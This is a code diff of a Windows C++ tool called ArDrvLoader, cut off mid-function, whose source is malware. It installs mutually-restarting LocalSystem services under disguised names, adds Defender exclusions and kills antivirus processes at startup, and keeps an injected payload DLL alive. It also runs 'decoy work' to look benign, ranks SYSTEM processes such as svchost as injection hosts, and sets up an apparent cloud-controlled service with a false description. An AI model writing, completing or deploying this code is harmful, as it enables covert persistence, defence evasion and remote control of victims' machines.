+static bool IsTargetProcessRunning(const GuardConfig& cfg) +{ + if (cfg.targetPath.empty()) + return false; + + std::wstring target = GetFullPathW(cfg.targetPath); + + bool pathLike = + target.find(L'\\') != std::wstring::npos || + target.find(L'/') != std::wstring::npos || + target.find(L':') != std::wstring::npos; + + if (!pathLike) + return GetPidByName(cfg.targetPath.c_str()) != 0; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return false; + + std::wstring targetName = target; + size_t slash = targetName.find_last_of(L"\\/"); + if (slash != std::wstring::npos) + targetName = targetName.substr(slash + 1); + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + bool exactFound = false; + bool nameFound = false; + + if (Process32First(snap, &pe)) + { + do + { + if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4) + continue; + + if (!targetName.empty() && _wcsicmp(pe.szExeFile, targetName.c_str()) == 0) + nameFound = true; + + std::wstring image; + + if (!GetProcessImagePath(pe.th32ProcessID, image)) + continue; + + if (_wcsicmp(image.c_str(), target.c_str()) == 0) + { + exactFound = true; + break; + } + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return exactFound || nameFound; +} + +static bool StartTargetProcess(const GuardConfig& cfg) +{ + if (cfg.targetPath.empty()) + return false; + + HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Global\\ArDrvGuardStart"); + bool locked = false; + + if (mutex) + { + DWORD wait = WaitForSingleObject(mutex, 5000); + + if (wait == WAIT_OBJECT_0 || wait == WAIT_ABANDONED) + locked = true; + else + { + CloseHandle(mutex); + mutex = nullptr; + } + } + + if (locked && IsTargetProcessRunning(cfg)) + { + ReleaseMutex(mutex); + CloseHandle(mutex); + return true; + } + + std::wstring path = GetFullPathW(cfg.targetPath); + + if (!FileExistsW(path)) + { + Log(L"[-] Target program not found: %s", path.c_str()); + + if (locked) + ReleaseMutex(mutex); + if (mutex) + CloseHandle(mutex); + + return false; + } + + std::wstring cmd = L"\"" + path + L"\""; + bool launched = false; + DWORD launchedPid = 0; + + if (!cfg.targetArgs.empty()) + cmd += L" " + cfg.targetArgs; + + // The guard runs as LocalSystem in session 0. Starting the target there + // would make it invisible to the logged-in user, so try the active + // console session first and only fall back to the service session. + DWORD sessionId = WTSGetActiveConsoleSessionId(); + + if (sessionId != 0xFFFFFFFF) + { + HANDLE userToken = nullptr; + + if (WTSQueryUserToken(sessionId, &userToken)) + { + HANDLE primary = nullptr; + + if (DuplicateTokenEx( + userToken, + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenPrimary, + &primary)) + { + LPVOID env = nullptr; + CreateEnvironmentBlock(&env, primary, FALSE); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.lpDesktop = const_cast(L"winsta0\\default"); + + PROCESS_INFORMATION pi{}; + + std::wstring mutableCmd = cmd; + + BOOL created = CreateProcessAsUserW( + primary, + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_UNICODE_ENVIRONMENT, + env, + nullptr, + &si, + &pi); + + if (created) + { + launched = true; + launchedPid = pi.dwProcessId; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else + { + Log(L"[!] CreateProcessAsUser failed: %lu, falling back", GetLastError()); + } + + if (env) + DestroyEnvironmentBlock(env); + + CloseHandle(primary); + } + else + { + Log(L"[!] DuplicateTokenEx failed: %lu", GetLastError()); + } + + CloseHandle(userToken); + } + } + + if (!launched) + { + STARTUPINFOW si{}; + si.cb = sizeof(si); + + PROCESS_INFORMATION pi{}; + + BOOL ok = CreateProcessW( + nullptr, + cmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + if (ok) + { + launched = true; + launchedPid = pi.dwProcessId; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else + { + Log(L"[-] Start target failed: %lu", GetLastError()); + } + } + + if (launched) + Log(L"[+] Target started: PID %lu", launchedPid); + + if (locked) + ReleaseMutex(mutex); + if (mutex) + CloseHandle(mutex); + + return launched; +} + +static bool StartServiceLocal(const std::wstring& name, bool enableIfDisabled, DWORD desiredStartType) +{ + if (name.empty()) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW( + scm, + name.c_str(), + SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_CHANGE_CONFIG); + + if (!svc) + { + Log(L"[-] OpenService(%s) failed: %lu", name.c_str(), GetLastError()); + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (running) + { + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; + } + + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_DISABLED && enableIfDisabled) + { + ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + desiredStartType, + SERVICE_NO_CHANGE, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + StartServiceW(svc, 0, nullptr); + e = GetLastError(); + } + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + { + Log(L"[-] StartService(%s) failed: %lu", name.c_str(), e); + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return false; + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; +} + +static bool CheckGuard(const GuardConfig& cfg) +{ + bool ok = true; + + if (!cfg.targetService.empty()) + { + if (!IsServiceRunning(cfg.targetService.c_str())) + { + Log(L"[guard] service %s is not running, starting", cfg.targetService.c_str()); + ok = StartServiceLocal(cfg.targetService, false, cfg.desiredStartType) && ok; + } + } + + if (!cfg.targetPath.empty()) + { + if (!IsTargetProcessRunning(cfg)) + { + Log(L"[guard] program is not running, starting: %s", cfg.targetPath.c_str()); + ok = StartTargetProcess(cfg) && ok; + } + } + + return ok; +} + +static bool CheckRepair(const GuardConfig& cfg) +{ + if (!cfg.targetService.empty()) + { + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW( + scm, + cfg.targetService.c_str(), + SERVICE_QUERY_CONFIG | + SERVICE_CHANGE_CONFIG | + SERVICE_QUERY_STATUS | + SERVICE_START); + + if (!svc) + { + Log(L"[-] Repair: OpenService(%s) failed: %lu", cfg.targetService.c_str(), GetLastError()); + CloseServiceHandle(scm); + return false; + } + + DWORD needed = 0; + QueryServiceConfigW(svc, nullptr, 0, &needed); + + DWORD startType = SERVICE_DEMAND_START; + + if (needed > 0) + { + std::vector buf(needed); + LPQUERY_SERVICE_CONFIGW qsc = (LPQUERY_SERVICE_CONFIGW)buf.data(); + + if (QueryServiceConfigW(svc, qsc, needed, &needed)) + startType = qsc->dwStartType; + } + + if (startType == SERVICE_DISABLED) + { + Log(L"[repair] service %s is disabled, enabling", cfg.targetService.c_str()); + + if (ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + cfg.desiredStartType, + SERVICE_NO_CHANGE, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr)) + { + Log(L"[repair] service %s start type changed", cfg.targetService.c_str()); + } + else + { + Log(L"[-] Repair: ChangeServiceConfig failed: %lu", GetLastError()); + } + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + Log(L"[-] Repair: StartService(%s) failed: %lu", cfg.targetService.c_str(), e); + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; + } + + if (!cfg.targetPath.empty()) + { + if (!IsTargetProcessRunning(cfg)) + { + Log(L"[repair] program is not running, starting: %s", cfg.targetPath.c_str()); + return StartTargetProcess(cfg); + } + } + + return true; +} + +// Each role keeps the other two services alive. SCM failure actions only fire +// on crashes, so a manual "sc stop" or a disabled service would otherwise leave +// the stack dead. +static void EnsurePeerRunning(const std::wstring& name, const std::wstring& self) +{ + if (name.empty() || _wcsicmp(name.c_str(), self.c_str()) == 0) + return; + + if (IsServiceRunning(name.c_str())) + return; + + Log(L"[watchdog] peer %s is not running, starting", name.c_str()); + + if (!StartServiceLocal(name, true, SERVICE_AUTO_START)) + Log(L"[-] watchdog: cannot start peer %s", name.c_str()); +} + +// Plausible background activity: refresh a small state cache and read a couple +// of unrelated service states. Cheap, harmless, and it means the process does +// something other than watch one target. +static void DoDecoyWork(const GuardConfig& cfg) +{ + wchar_t module[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len > 0 && len < _countof(module)) + { + std::wstring path = module; + size_t slash = path.find_last_of(L"\\/"); + + if (slash != std::wstring::npos) + path = path.substr(0, slash); + + path += L"\\cache.dat"; + + HANDLE h = CreateFileW( + path.c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_HIDDEN, + nullptr); + + if (h != INVALID_HANDLE_VALUE) + { + SYSTEMTIME st{}; + GetLocalTime(&st); + + char line[128]{}; + int n = sprintf_s( + line, + "role=%ls state=%04u-%02u-%02u %02u:%02u:%02u\r\n", + cfg.role.c_str(), + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond); + + if (n > 0) + { + DWORD written = 0; + WriteFile(h, line, (DWORD)n, &written, nullptr); + } + + CloseHandle(h); + } + } + + static const wchar_t* probe[] = { L"BITS", L"DsmSvc", L"wuauserv" }; + + for (const wchar_t* name : probe) + IsServiceRunning(name); +} + +static int RunRoleLoop(const GuardConfig& base, HANDLE stopEvent) +{ + bool firstTick = true; + + // Stagger the three roles so they do not wake up in lockstep. + DWORD stagger = 0; + + if (_wcsicmp(base.role.c_str(), L"driver") == 0) + stagger = 1500 + (GetTickCount() % 1500); + else if (_wcsicmp(base.role.c_str(), L"guard") == 0) + stagger = 4000 + (GetTickCount() % 2000); + else + stagger = 8000 + (GetTickCount() % 2500); + + if (stopEvent) + WaitForSingleObject(stopEvent, stagger); + else + Sleep(stagger); + + while (true) + { + if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0) + break; + + GuardConfig cfg = LoadRuntimeConfig(base); + + DoDecoyWork(cfg); + + if (_wcsicmp(cfg.role.c_str(), L"driver") == 0) + { + // Budget is enforced in memory as well as in the registry, so a + // crash loop stops even when the counter cannot be persisted. + static bool failsLoaded = false; + static DWORD fails = 0; + + if (!failsLoaded) + { + fails = LoadDriverFailCount(); + failsLoaded = true; + } + + if (fails >= cfg.driverFailMax) + { + static bool warned = false; + + if (!warned) + { + Log(L"[driver] failure budget exhausted (%lu/%lu), not retrying", + fails, cfg.driverFailMax); + + SaveDriverState(L"disabled-after-failures"); + warned = true; + } + } + else + { + const bool ok = EnsureDriverRunning(cfg); + + if (ok) + { + if (fails != 0) + { + fails = 0; + SaveDriverFailCount(0); + SaveDriverState(L"ok"); + } + } + else + { + ++fails; + SaveDriverFailCount(fails); + SaveDriverState(L"failed"); + + Log(L"[driver] load failed (%lu/%lu)", fails, cfg.driverFailMax); + } + } + + EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName); + EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName); + } + else if (_wcsicmp(cfg.role.c_str(), L"guard") == 0) + { + // Recovery after a crash, a bugcheck, or a reboot lands here: the + // service is auto-start, so the first tick reinstates state. + if (firstTick) + { + if (DefenderPresent()) + { + std::vector wanted = LoadExclusionList(); + + if (wanted.empty()) + { + wanted = DefaultExclusionPaths(); + SaveExclusionList(wanted); + } + + std::wstring exclReport; + ApplyExclusions(wanted, exclReport); + Log(L"[guard] exclusions on start: %s", exclReport.c_str()); + } + + if (cfg.killAvOnStart != 0) + { + std::wstring summary; + KillAVProcessesEx(false, summary); + Log(L"[guard] AV sweep on start: %s", summary.c_str()); + } + } + + CheckGuard(cfg); + + // Host stager: only acts when a payload has been injected before, + // and only re-injects after the previous host died. + if (LoadHostTrack().Tracked()) + EnsureHostInjected(); + + // Stage payload: if the DLL is deployed, keep it alive in a host. + if (!StageDllPath().empty() && !StageAlive()) + StageEnsure(); + + EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName); + EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName); + } + else if (_wcsicmp(cfg.role.c_str(), L"repair") == 0) + { + CheckRepair(cfg); + EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName); + EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName); + } + else + { + Log(L"[-] Unknown service role: %s", cfg.role.c_str()); + return 1; + } + + DWORD wait = cfg.intervalMs; + if (wait < 1000) + wait = 1000; + + if (stopEvent) + { + if (WaitForSingleObject(stopEvent, wait) == WAIT_OBJECT_0) + break; + } + else + { + Sleep(wait); + } + + firstTick = false; + } + + return 0; +} + +static void ReportGuardStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0) +{ + if (!g_guardStatusHandle) + return; + + static DWORD checkPoint = 1; + + g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_guardStatus.dwCurrentState = state; + g_guardStatus.dwWin32ExitCode = exitCode; + g_guardStatus.dwWaitHint = waitHint; + g_guardStatus.dwControlsAccepted = + (state == SERVICE_RUNNING) + ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN + : 0; + + if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING) + g_guardStatus.dwCheckPoint = checkPoint++; + else + g_guardStatus.dwCheckPoint = 0; + + SetServiceStatus(g_guardStatusHandle, &g_guardStatus); +} + +static DWORD WINAPI GuardCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context) +{ + (void)eventType; + (void)eventData; + (void)context; + + switch (control) + { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + + if (g_guardStopEvent) + SetEvent(g_guardStopEvent); + + return NO_ERROR; + + case SERVICE_CONTROL_INTERROGATE: + return NO_ERROR; + + default: + return ERROR_CALL_NOT_IMPLEMENTED; + } +} + +static VOID WINAPI GuardServiceMain(DWORD argc, LPWSTR* argv) +{ + (void)argc; + (void)argv; + + g_guardStatusHandle = RegisterServiceCtrlHandlerExW( + g_guardServiceName.c_str(), + GuardCtrlHandler, + nullptr); + + if (!g_guardStatusHandle) + return; + + g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_guardStatus.dwCurrentState = SERVICE_START_PENDING; + g_guardStatus.dwControlsAccepted = 0; + g_guardStatus.dwWin32ExitCode = NO_ERROR; + g_guardStatus.dwWaitHint = 5000; + + g_guardStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr); + + if (!g_guardStopEvent) + { + ReportGuardStatus(SERVICE_STOPPED, GetLastError()); + return; + } + + ReportGuardStatus(SERVICE_RUNNING); + + Log(L"[guard] service started role=%s name=%s", + g_guardBaseConfig.role.c_str(), + g_guardServiceName.c_str()); + + RunRoleLoop(g_guardBaseConfig, g_guardStopEvent); + + ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + + if (g_guardStopEvent) + { + CloseHandle(g_guardStopEvent); + g_guardStopEvent = nullptr; + } + + Log(L"[guard] service stopped name=%s", g_guardServiceName.c_str()); + ReportGuardStatus(SERVICE_STOPPED); +} + +int RunGuardService(int argc, wchar_t** argv) +{ + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -service driver|guard|repair [options]\n"); + return 1; + } + + GuardConfig cfg; + cfg.role = argv[2]; + + if (_wcsicmp(cfg.role.c_str(), L"driver") != 0 && + _wcsicmp(cfg.role.c_str(), L"guard") != 0 && + _wcsicmp(cfg.role.c_str(), L"repair") != 0) + { + wprintf(L"Unknown role: %s\n", cfg.role.c_str()); + return 1; + } + + if (!ParseGuardArgs(argc, argv, 3, cfg)) + { + wprintf(L"Invalid arguments\n"); + return 1; + } + + if (cfg.serviceName.empty()) + cfg.serviceName = DefaultServiceNameForRole(cfg.role); + + g_guardServiceName = cfg.serviceName; + g_guardBaseConfig = cfg; + + if (cfg.console) + return RunRoleLoop(cfg, nullptr); + + SERVICE_TABLE_ENTRYW table[] = + { + { const_cast(g_guardServiceName.c_str()), GuardServiceMain }, + { nullptr, nullptr } + }; + + if (!StartServiceCtrlDispatcherW(table)) + { + DWORD e = GetLastError(); + + if (e == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) + { + wprintf(L"Service mode must be started by SCM. Use --console for direct execution.\n"); + } + + return (int)e; + } + + return 0; +} + +// Stops one of our own services before replacing its binary. +static void StopServiceForUpgrade(const std::wstring& name) +{ + if (name.empty()) + return; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + + if (!scm) + return; + + SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); + + if (svc) + { + SERVICE_STATUS st{}; + + if (ControlService(svc, SERVICE_CONTROL_STOP, &st)) + { + for (int i = 0; i < 50; ++i) + { + SERVICE_STATUS q{}; + + if (!QueryServiceStatus(svc, &q) || q.dwCurrentState == SERVICE_STOPPED) + break; + + Sleep(100); + } + } + + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); +} + +// Copies this executable into the chosen install directory so the service does +// not run out of Downloads, Temp, or a user profile. +static bool InstallSelfCopy(const std::wstring& targetDir, std::wstring& installedPathOut) +{ + installedPathOut.clear(); + + CreateDirectoryW(targetDir.c_str(), nullptr); + + wchar_t module[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len == 0 || len >= _countof(module)) + return false; + + std::wstring source = module; + size_t slash = targetDir.find_last_of(L"\\/"); + std::wstring leaf = (slash == std::wstring::npos) ? targetDir : targetDir.substr(slash + 1); + + std::wstring target = targetDir + L"\\" + leaf + L".exe"; + + if (_wcsicmp(source.c_str(), target.c_str()) == 0) + { + installedPathOut = target; + return true; + } + + // A service that was just stopped can keep its image mapped for a moment. + // Retry instead of failing the whole install on a sharing violation. + for (int attempt = 0; attempt < 20; ++attempt) + { + if (CopyFileW(source.c_str(), target.c_str(), FALSE)) + break; + + DWORD err = GetLastError(); + + if (err != ERROR_SHARING_VIOLATION && + err != ERROR_ACCESS_DENIED && + err != ERROR_USER_MAPPED_FILE) + { + wprintf(L"[!] Cannot copy to %s (%lu)\n", target.c_str(), err); + return false; + } + + if (attempt == 19) + { + wprintf(L"[!] Cannot copy to %s (%lu), gave up after retries\n", target.c_str(), err); + return false; + } + + Sleep(500); + } + + SetFileAttributesW(target.c_str(), FILE_ATTRIBUTE_NORMAL); + + installedPathOut = target; + return true; +} + +int InstallGuardServices(int argc, wchar_t** argv) +{ + GuardConfig cfg; + + if (!ParseGuardArgs(argc, argv, 2, cfg)) + { + wprintf(L"Invalid arguments\n"); + return 1; + } + + std::wstring prefix = cfg.prefix; + + std::wstring driverService = prefix.empty() ? L"DeviceSetupHost" : prefix + L"Driver"; + std::wstring guardService = prefix.empty() ? L"ProgramCompatHost" : prefix + L"Guard"; + std::wstring repairService = prefix.empty() ? L"ServiceStateHost" : prefix + L"Repair"; + + cfg.driverServiceName = driverService; + cfg.guardServiceName = guardService; + cfg.repairServiceName = repairService; + + wchar_t module[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len == 0 || len >= _countof(module)) + { + wprintf(L"Cannot resolve executable path\n"); + return 1; + } + + if (!cfg.targetPath.empty() && !FileExistsW(GetFullPathW(cfg.targetPath))) + wprintf(L"[!] Target not found yet: %s (guard will retry at runtime)\n", cfg.targetPath.c_str()); + + if (!cfg.targetService.empty()) + { + SC_HANDLE scmCheck = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + SC_HANDLE svcCheck = scmCheck + ? OpenServiceW(scmCheck, cfg.targetService.c_str(), SERVICE_QUERY_STATUS) + : nullptr; + + if (!svcCheck) + wprintf(L"[!] Target service not installed yet: %s (repair will retry at runtime)\n", cfg.targetService.c_str()); + + if (svcCheck) + CloseServiceHandle(svcCheck); + + if (scmCheck) + CloseServiceHandle(scmCheck); + } + + std::wstring installDir; + + if (cfg.keepLocation) + { + installDir = module; + size_t slash = installDir.find_last_of(L"\\/"); + + if (slash != std::wstring::npos) + installDir = installDir.substr(0, slash); + } + else if (!cfg.installDir.empty()) + { + installDir = cfg.installDir; + } + else + { + installDir = DefaultInstallDir(driverService); + } + + if (cfg.installDryRun) + { + wprintf(L"DRY-RUN install plan\n"); + wprintf(L" install dir: %s\n", installDir.c_str()); + wprintf(L" %s \"%s\"\n", driverService.c_str(), DisplayNameForRole(L"driver").c_str()); + wprintf(L" %s \"%s\"\n", guardService.c_str(), DisplayNameForRole(L"guard").c_str()); + wprintf(L" %s \"%s\"\n", repairService.c_str(), DisplayNameForRole(L"repair").c_str()); + wprintf(L" target: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str()); + return 0; + } + + if (!WriteInstalledConfig(cfg)) + { + wprintf(L"Cannot write HKLM\\%s\n", kConfigKey); + return 1; + } + + std::wstring installedExe; + + // The previous generation of services may still be holding the old binary + // open, which makes the copy fail. Stop ours first, then replace. + StopServiceForUpgrade(driverService); + StopServiceForUpgrade(guardService); + StopServiceForUpgrade(repairService); + + if (!cfg.cloudServiceName.empty()) + StopServiceForUpgrade(cfg.cloudServiceName); + else if (!cfg.cloudUrl.empty()) + StopServiceForUpgrade(L"CloudSyncHost"); + + if (!InstallSelfCopy(installDir, installedExe)) + { + wprintf(L"Cannot copy executable into %s\n", installDir.c_str()); + return 1; + } + + std::wstring exe = L"\""; + exe += installedExe; + exe += L"\""; + + auto imagePath = [&](const wchar_t* role, const std::wstring& serviceName) + { + std::wstring p = exe; + p += L" -service "; + p += role; + p += L" --service-name \""; + p += serviceName; + p += L"\""; + + if (cfg.allowVm) + p += L" --allow-vm"; + + return p; + }; + + bool startNow = !cfg.noStart; + + bool driverOk = EnsureLocalSystemService( + driverService.c_str(), + imagePath(L"driver", driverService).c_str(), + startNow, + true, + DisplayNameForRole(L"driver").c_str()); + + bool guardOk = EnsureLocalSystemService( + guardService.c_str(), + imagePath(L"guard", guardService).c_str(), + startNow, + true, + DisplayNameForRole(L"guard").c_str()); + + bool repairOk = EnsureLocalSystemService( + repairService.c_str(), + imagePath(L"repair", repairService).c_str(), + startNow, + true, + DisplayNameForRole(L"repair").c_str()); + + if (driverOk) + SetServiceDescription(driverService.c_str(), DescriptionForRole(L"driver").c_str()); + + if (guardOk) + SetServiceDescription(guardService.c_str(), DescriptionForRole(L"guard").c_str()); + + if (repairOk) + SetServiceDescription(repairService.c_str(), DescriptionForRole(L"repair").c_str()); + + bool cloudOk = true; + std::wstring cloudService; + + if (!cfg.cloudUrl.empty() && !cfg.cloudSecret.empty()) + { + cloudService = cfg.cloudServiceName.empty() ? L"CloudSyncHost" : cfg.cloudServiceName; + + std::wstring bin = exe; + bin += L" -cloud-service --service-name \""; + bin += cloudService; + bin += L"\" --url \""; + bin += cfg.cloudUrl; + bin += L"\" --secret \""; + bin += cfg.cloudSecret; + bin += L"\""; + + if (!cfg.cloudAgent.empty()) + { + bin += L" --agent \""; + bin += cfg.cloudAgent; + bin += L"\""; + } + + bin += L" --interval 15000"; + + if (cfg.allowVm) + bin += L" --allow-vm"; + + bin += L" --elevated"; + + cloudOk = EnsureLocalSystemService( + cloudService.c_str(), + bin.c_str(), + startNow, + true, + L"Cloud Sync Host"); + + if (cloudOk) + SetServiceDescription( + cloudService.c_str(), + L"Keeps cloud-managed configuration in sync with the local machine."); + + wprintf(L"Cloud service: %s %s\n", cloudService.c_str(), cloudOk ? L"OK" : L"FAIL"); + } + + wprintf(L"Driver service: %s %s\n", driverService.c_str(), driverOk ? L"OK" : L"FAIL"); + wprintf(L"Guard service: %s %s\n", guardService.c_str(), guardOk ? L"OK" : L"FAIL"); + wprintf(L"Repair service: %s %s\n", repairService.c_str(), repairOk ? L"OK" : L"FAIL"); + wprintf(L"Installed to: %s\n", installDir.c_str()); + wprintf(L"Target program: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str()); + wprintf(L"Target service: %s\n", cfg.targetService.empty() ? L"(not set)" : cfg.targetService.c_str()); + wprintf(L"Config key: HKLM\\%s\n", kConfigKey); + + return (driverOk && guardOk && repairOk && cloudOk) ? 0 : 1; +} + + + diff --git a/GuardService.h b/GuardService.h new file mode 100644 index 0000000..885b270 --- /dev/null +++ b/GuardService.h @@ -0,0 +1,11 @@ +#pragma once + +#include + +// Role-based service host: +// ArDrvLoader.exe -service driver|guard|repair [options] +int RunGuardService(int argc, wchar_t** argv); + +// Installs the driver / guard / repair services as LocalSystem auto-start services. +// ArDrvLoader.exe -install-guard-services [options] +int InstallGuardServices(int argc, wchar_t** argv); diff --git a/HostSpawn.cpp b/HostSpawn.cpp new file mode 100644 index 0000000..b5d559f --- /dev/null +++ b/HostSpawn.cpp @@ -0,0 +1,445 @@ +#include "Common.h" +#include "HostSpawn.h" +#include "Logger.h" + +#include +#include + +static std::wstring Lower(const std::wstring& s) +{ + std::wstring out = s; + + for (auto& c : out) + c = (wchar_t)towlower(c); + + return out; +} + +static std::wstring BaseName(const std::wstring& path) +{ + size_t slash = path.find_last_of(L"\\/"); + return slash == std::wstring::npos ? path : path.substr(slash + 1); +} + +static bool TokenIsSystem(HANDLE token) +{ + DWORD needed = 0; + GetTokenInformation(token, TokenUser, nullptr, 0, &needed); + + if (needed == 0) + return false; + + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (!GetTokenInformation(token, TokenUser, tu, needed, &needed)) + return false; + + LPWSTR sidStr = nullptr; + bool isSystem = false; + + if (ConvertSidToStringSidW(tu->User.Sid, &sidStr)) + { + isSystem = wcscmp(sidStr, L"S-1-5-18") == 0; + LocalFree(sidStr); + } + + return isSystem; +} + +static int ScoreImage(const std::wstring& imageName) +{ + const std::wstring n = Lower(imageName); + + // svchost is the ideal parent: dozens of them, SYSTEM, non-PPL for almost + // every hosted service, and a process tree nobody questions. + if (n == L"svchost.exe") + return 100; + + if (n == L"wudfhost.exe") + return 60; + + if (n == L"dllhost.exe") + return 50; + + if (n == L"searchprotocolhost.exe") + return 40; + + if (n == L"taskhostw.exe") + return 30; + + // Protected / high-risk images we still accept only if they are actually + // injectable, which they usually are not. + if (n == L"winlogon.exe" || n == L"services.exe" || n == L"lsass.exe" || + n == L"csrss.exe" || n == L"wininit.exe" || n == L"smss.exe") + { + return 0; + } + + return 10; +} + +std::vector EnumerateHosts(bool requireSystem) +{ + std::vector hosts; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return hosts; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (Process32First(snap, &pe)) + { + do + { + if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4) + continue; + + HostInfo info; + info.pid = pe.th32ProcessID; + info.imageName = pe.szExeFile; + + HANDLE query = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, info.pid); + + if (!query) + continue; + + wchar_t path[4096]{}; + DWORD len = _countof(path); + + if (QueryFullProcessImageNameW(query, 0, path, &len)) + info.imagePath.assign(path, len); + + HANDLE token = nullptr; + + if (OpenProcessToken(query, TOKEN_QUERY, &token)) + { + info.systemToken = TokenIsSystem(token); + CloseHandle(token); + } + + CloseHandle(query); + + if (requireSystem && !info.systemToken) + continue; + + DWORD session = 0; + + if (ProcessIdToSessionId(info.pid, &session)) + info.sessionId = session; + + // Injectable = we can get the rights a remote-thread injection + // needs. PPL processes refuse these even to SYSTEM. + HANDLE inj = OpenProcess( + PROCESS_CREATE_THREAD | + PROCESS_VM_OPERATION | + PROCESS_VM_WRITE | + PROCESS_VM_READ | + PROCESS_QUERY_INFORMATION | + PROCESS_CREATE_PROCESS, + FALSE, + info.pid); + + if (inj) + { + info.injectable = true; + CloseHandle(inj); + } + + info.score = ScoreImage(info.imageName) + (info.injectable ? 5 : 0); + + hosts.push_back(info); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + + std::sort(hosts.begin(), hosts.end(), [](const HostInfo& a, const HostInfo& b) + { + if (a.score != b.score) + return a.score > b.score; + + return a.pid < b.pid; + }); + + return hosts; +} + +std::vector EnumerateSystemHosts() +{ + return EnumerateHosts(true); +} + +SpawnResult SpawnThroughHost( + const std::wstring& commandLine, + const std::wstring& preferredImage, + bool userSession, + bool requireSystem) +{ + SpawnResult result; + + if (commandLine.empty()) + { + result.error = L"empty command line"; + return result; + } + + std::vector hosts = EnumerateHosts(requireSystem); + + if (hosts.empty()) + { + result.error = L"no SYSTEM host process found (need admin or SYSTEM)"; + return result; + } + + auto isUsable = [&](const HostInfo& h) -> bool + { + if (requireSystem && !h.systemToken) + return false; + + if (!h.injectable) + return false; + + if (!preferredImage.empty() && + _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) + { + return false; + } + + return true; + }; + + // Best injectable SYSTEM host, honouring the preferred image if given. + HostInfo* chosen = nullptr; + + for (auto& h : hosts) + { + if (isUsable(h)) + { + chosen = &h; + break; + } + } + + if (!chosen && !preferredImage.empty()) + { + // Preferred image exists but is not injectable: report that clearly + // instead of silently using something else. + for (const auto& h : hosts) + { + if (_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) == 0) + { + 